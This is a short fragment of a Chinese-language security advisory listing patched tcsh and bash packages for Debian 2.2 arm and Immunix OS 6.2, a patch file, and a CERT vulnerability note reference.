Debian Upgrade 2.2 arm tcsh-kanji_6.09.00-10_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/tcsh-ka
nji_6.09.00-10_arm.deb

Debian Upgrade 2.2 arm tcsh_6.09.00-10_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/tcsh_6.
09.00-10_arm.deb

Kris Kennaway Patch tcsh.patch
http://www.securityfocus.com/data/vulnerabilities/patches/tcsh.patch

Wirex Immunix OS 6.2:

Wirex RPM 6.2 i386 bash-1.14.7-23.6x_StackGuard.i386.rpm
http://www.immunix.org/ImmunixOS/6.2/updates/RPMS/bash-1.14.7-23.6x_Sta
ckGuard.i386.rpm

参考:http://www.kb.cert.org/vuls/id/10277


※相关文章:

※相关软件: